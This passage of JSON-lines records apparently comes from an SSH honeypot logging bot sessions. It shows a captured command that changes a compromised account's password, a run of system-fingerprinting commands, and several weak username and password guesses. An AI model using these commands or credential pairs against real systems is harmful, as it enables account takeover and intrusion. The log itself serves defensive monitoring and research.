\"yf\\nh5NjuAFGVzdW\\nh5NjuAFGVzdW\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:28:52.114547+00:00","kind":"input","latency_ms":null,"data":"echo \"yf\\nh5NjuAFGVzdW\\nh5NjuAFGVzdW\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:28:52.410151+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:28:52.412199+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:28:52.702079+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:28:53.268178+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:28:53.565596+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:28:54.081130+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:28:54.376497+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:28:54.377192+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:28:54.670571+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:28:54.671045+00:00","kind":"output","latency_ms":null,"data":" 11:28:54 up 7 days, 8:19, 0 user, load average: 0.15, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:28:54.964336+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:28:54.965157+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:28:55.260489+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:28:55.261015+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:28:55.557260+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:28:55.557934+00:00","kind":"output","latency_ms":null,"data":"top - 11:28:55 up 7 days, 8:19, 0 user, load average: 0.15, 0.12, 0.11\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:28:55.848802+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:28:55.852034+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:28:56.143828+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:28:56.147175+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:28:56.436147+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:28:56.440081+00:00","kind":"output","latency_ms":null,"data":"yf"},{"seq":29,"at":"2026-08-27T11:28:56.729677+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:28:57.256488+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:28:57.552604+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:28:58.079560+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"yf","password":"yf","method":"password","accepted":true,"tier":"other"}]} {"id":"e93c504c-02f8-4f14-9a11-cde45d9acd15","name":"jolly-kindly-tamarin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":47954,"username":"yf","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:28:49.564318+00:00","ended_at":"2026-08-27T11:28:51.438566+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"yf","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"64b1c23f-d8ed-4df4-96a3-3dd44636bad1","name":"sturdy-shifting-albatross","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":47950,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:28:48.015673+00:00","ended_at":"2026-08-27T11:28:48.979054+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"fac5bf8f-6c2c-4115-8671-43bb6a8dffaf","name":"glassy-cheerful-penguin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":58008,"username":"suraj","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:24:11.748677+00:00","ended_at":"2026-08-27T11:24:12.738878+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"suraj","password":"suraj","method":"password","accepted":false,"tier":"other"}]}